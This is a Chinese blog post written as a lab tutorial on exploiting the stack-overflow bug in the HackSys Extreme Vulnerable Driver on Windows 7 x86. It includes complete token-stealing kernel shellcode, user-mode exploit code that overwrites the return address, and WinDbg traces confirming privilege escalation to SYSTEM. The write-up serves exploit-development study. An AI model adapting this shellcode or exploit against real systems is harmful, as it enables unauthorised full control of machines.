作者:huity
出处:https://www.cnblogs.com/huity35/p/11231155.html
版权:本文版权归作者所有。文章在看雪、博客园、个人博客同时发布。
转载:欢迎转载,但未经作者同意,必须保留此段声明;必须在文章中给出原文连接;否则必究法律责任。
0x00 前言
实验环境:Win10专业版+VMware Workstation 15 Pro+Win7 x86 sp1
实验工具:VS2015+Windbg+IDA Pro+KmdManager+DbgViewer
这几天看到有很多同样开始研究二进制漏洞的小伙伴,几经交流,先膜再说。传送门:TJ。
驱动安装
![](https://img2018.cnblogs.com/blog/1613864/201907/1613864-20190723125317376-1007545412.jpg)
![](https://img2018.cnblogs.com/blog/1613864/201907/1613864-20190723125337150-360511457.png)
![](https://img2018.cnblogs.com/blog/1613864/201907/1613864-20190723125348770-166420400.png)
0x01 漏洞原理
栈溢出
分析
ULONG KernelBuffer[BUFFER_SIZE] = { 0 }; ... #ifdef SECURE //安全版本 RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, sizeof(KernelBuffer)); #else //漏洞版本 DbgPrint("[+] Triggering Buffer Overflow in Stack\n"); RtlCopyMemory((PVOID)KernelBuffer, UserBuffer, Size); #endif } __except (EXCEPTION_EXECUTE_HANDLER) { Status = GetExceptionCode(); DbgPrint("[-] Exception Code: 0x%X\n", Status); } return Status; }
0x02 漏洞利用
提权
即将目标进程的 Token
结构数据或指针替换成 System
进程等系统进程的 Token
结构数据或指针。这样一来进程将以系统进程的身份执行任何行为,所有需要校验令牌的操作都将可以畅通无阻地进行。
第一步首先需要定位到System进程的EPROCES结构地址,常见做法是通过fs寄存器,其指向当前活动线程的TEB结构(线程结构),在Win7 x86 sp1环境下,其偏移0x124为当前线程KTHREAD结构:
kd> r fs fs=00000030 kd> dd fs:[0x124] 0030:00000124 83f7d380 00000000 83f7d380 00000100 0030:00000134 9e090106 0001007f 00000000 00000000 0030:00000144 00000000 00000000 00000000 00000000 0030:00000154 00000000 00000000 00000000 00000000 0030:00000164 00000000 00000000 00000000 00000000 0030:00000174 00000000 00000000 00000000 00000000 0030:00000184 00000000 00000000 00000000 00000000 0030:00000194 00000000 00000000 83f0cae7 83e4ff64 kd> dt _KTHREAD 83f7d380 nt!_KTHREAD +0x000 Header : _DISPATCHER_HEADER ... +0x040 ApcState : _KAPC_STATE +0x040 ApcStateFill : [23] "???" +0x057 Priority : 0 '' ... kd> dt _KAPC_STATE nt!_KAPC_STATE +0x000 ApcListHead : [2] _LIST_ENTRY +0x010 Process : Ptr32 _KPROCESS +0x014 KernelApcInProgress : UChar +0x015 KernelApcPending : UChar +0x016 UserApcPending : UChar
Token
成员域。kd> dt _EPROCESS nt!_EPROCESS +0x000 Pcb : _KPROCESS ... +0x0b4 UniqueProcessId : Ptr32 Void +0x0b8 ActiveProcessLinks : _LIST_ENTRY +0x0c0 ProcessQuotaUsage : [2] Uint4B +0x0c8 ProcessQuotaPeak : [2] Uint4B ... +0x0f8 Token : _EX_FAST_REF +0x0fc WorkingSetPage : Uint4B ... kd> dt _EX_FAST_REF nt!_EX_FAST_REF +0x000 Object : Ptr32 Void +0x000 RefCnt : Pos 0, 3 Bits +0x000 Value : Ui
数值的低 3
位表示引用计数,去除低 3
位数值后的 32
位完整数值指向实际表示的内存地址。
Token
结构中存储与当前进程相关的安全令牌的数据内容,如用户安全标识符(Sid
),特权级(Privileges
)等,代表当前进程作为访问者角色访问其他被访问对象时,访问权限和身份校验的依据。当前的 System
进程的 Token
结构块的数据如下:
kd> !token 89201270 _TOKEN 0xffffffff89201270 TS Session ID: 0 User: S-1-5-18 User Groups: 00 S-1-5-32-544 Attributes - Default Enabled Owner 01 S-1-1-0 Attributes - Mandatory Default Enabled 02 S-1-5-11 Attributes - Mandatory Default Enabled 03 S-1-16-16384 Attributes - GroupIntegrity GroupIntegrityEnabled Primary Group: S-1-5-18 Privs: 02 0x000000002 SeCreateTokenPrivilege Attributes - 03 0x000000003 SeAssignPrimaryTokenPrivilege Attributes - ... 34 0x000000022 SeTimeZonePrivilege Attributes - Enabled Default 35 0x000000023 SeCreateSymbolicLinkPrivilege Attributes - Enabled Default Authentication ID: (0,3e7) Impersonation Level: Anonymous TokenType: Primary Source: *SYSTEM* TokenFlags: 0x2000 ( Token in use ) Token ID: 3ea ParentToken ID: 0 Modified ID: (0, 3eb) RestrictedSidCount: 0 RestrictedSids: 0x0000000000000000 OriginatingLogonSession: 0
第三步,用系统进程令牌替换当前进程令牌。
VOID TokenStealingPayloadWin7() { __asm { pushad ; 保存寄存器状态 xor eax, eax ; 清空eax mov eax, fs:[eax + KTHREAD_OFFSET] ;获取当前线程KTHREAD结构 mov eax, [eax + EPROCESS_OFFSET] ; 获取_KPROCESS结构 mov ecx, eax ; KProcess为EProcess第一个字段 这里将目标进程EProcess首地址放进ecx 方便后面替换 mov edx, SYSTEM_PID ; SYSTEM process PID = 0x4 SearchSystemPID: mov eax, [eax + FLINK_OFFSET] ; _EPROCESS.ActiveProcessLinks.Flink sub eax, FLINK_OFFSET cmp [eax + PID_OFFSET], edx ;_EPROCESS.UniqueProcessId jne SearchSystemPID mov edx, [eax + TOKEN_OFFSET] ; 获取System进程令牌 mov [ecx + TOKEN_OFFSET], edx ; 用系统进程令牌替换目标进程令牌 ; End of Token Stealing Stub popad ; 恢复现场 ; Kernel Recovery Stub xor eax, eax ; 设置返回状态为成功0 add esp, 12 ; 恢复堆栈 pop ebp ; 弹栈 ret 8 ; } }
利用代码
#define HACKSYS_EVD_IOCTL_STACK_OVERFLOW CTL_CODE(FILE_DEVICE_UNKNOWN, 0x800, METHOD_NEITHER, FILE_ANY_ACCESS)
SIZE_T UserModeBufferSize = (BUFFER_SIZE + RET_OVERWRITE) * sizeof(ULONG); __try { ... //获取设备对象句柄 hFile = GetDeviceHandle(FileName); ... //动态申请内存 2084 UserModeBuffer = (PULONG)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, UserModeBufferSize); ... RtlFillMemory((PVOID)UserModeBuffer, UserModeBufferSize, 0x41);//0x41 'A' MemoryAddress = (PVOID)(((ULONG)UserModeBuffer + UserModeBufferSize) - sizeof(ULONG));//申请区域的倒数第四的字节 0x368068+0x824-4 = 0x368888 ... *(PULONG)MemoryAddress = (ULONG)EopPayload;//写入payload地址 DeviceIoControl(hFile, HACKSYS_EVD_IOCTL_STACK_OVERFLOW, (LPVOID)UserModeBuffer, (DWORD)UserModeBufferSize, NULL, 0, &BytesReturned, NULL); HeapFree(GetProcessHeap(), 0, (LPVOID)UserModeBuffer); UserModeBuffer = NULL; }
动态申请UserModeBufferSize(0x824)大小内存,使用字符A填充,修改最后四字节为Payload地址。驱动层通过IO控制码进入栈溢出处理历程,也即文章开始处的触发函数。
![](https://img2018.cnblogs.com/blog/1613864/201907/1613864-20190723125837955-813409828.png)
kd> db 0x002c8068 l 824 002c8068 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 002c8078 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA ... 002c8868 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 002c8878 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 002c8888 b6 13 3f 01 ..?. kd> db 013f13b6 013f13b6 e9 25 75 00 00 e9 20 3b-00 00 e9 85 d6 00 00 e9 .%u... ;........ 013f13c6 36 13 00 00 e9 41 bc 00-00 e9 4c d5 00 00 e9 27 6....A....L....' 013f13d6 c5 00 00 e9 f4 a1 00 00-e9 9d d6 00 00 e9 08 d7 ................ 013f13e6 00 00 e9 73 45 00 00 e9-82 d6 00 00 e9 29 2d 00 ...sE........)-. 013f13f6 00 e9 d0 a1 00 00 e9 ef-ba 00 00 e9 2a bb 00 00 ............*... 013f1406 e9 73 a1 00 00 e9 b6 a1-00 00 e9 0b a2 00 00 e9 .s.............. 013f1416 88 a1 00 00 e9 71 a1 00-00 e9 dc b3 00 00 e9 15 .....q.......... 013f1426 a2 00 00 e9 02 d7 00 00-e9 ff a1 00 00 e9 28 d5 ..............(. 013f88f2 b930000000 mov ecx,30h kd> u 013f13b6+5+7525 l 30 013f88e0 55 push ebp 013f88e1 8bec mov ebp,esp ... 013f88fe 60 pushad 013f88ff 33c0 xor eax,eax 013f8901 648b8024010000 mov eax,dword ptr fs:[eax+124h] 013f8908 8b4050 mov eax,dword ptr [eax+50h] 013f890b 8bc8 mov ecx,eax 013f890d ba04000000 mov edx,4 013f8912 8b80b8000000 mov eax,dword ptr [eax+0B8h] 013f8918 2db8000000 sub eax,0B8h 013f891d 3990b4000000 cmp dword ptr [eax+0B4h],edx 013f8923 75ed jne 013f8912 013f8925 8b90f8000000 mov edx,dword ptr [eax+0F8h] 013f892b 8991f8000000 mov dword ptr [ecx+0F8h],edx 013f8931 61 popad ... 013f894e c3 ret 013f894f cc int 3
再来看看内核栈缓冲区,明显可以看到,覆盖范围超出了内核栈缓冲区,并且最后四个字节为payload跳转地址。
kd> dt KernelBuffer Local var @ 0x987fb288 Type unsigned long[] kd> db 0x987fb288 l 0x800 //覆盖前 987fb288 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ 987fb298 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ ... 987fba78 00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00 ................ kd> db 0x987fb288 l 0x824 //覆盖后 987fb288 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 987fb298 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA ... 987fba98 41 41 41 41 41 41 41 41-41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 987fbaa8 b6 13 3f 01 ..?.
测试中,可以看到我们的payload代码成功执行。
![](https://img2018.cnblogs.com/blog/1613864/201907/1613864-20190723125952344-191299917.gif)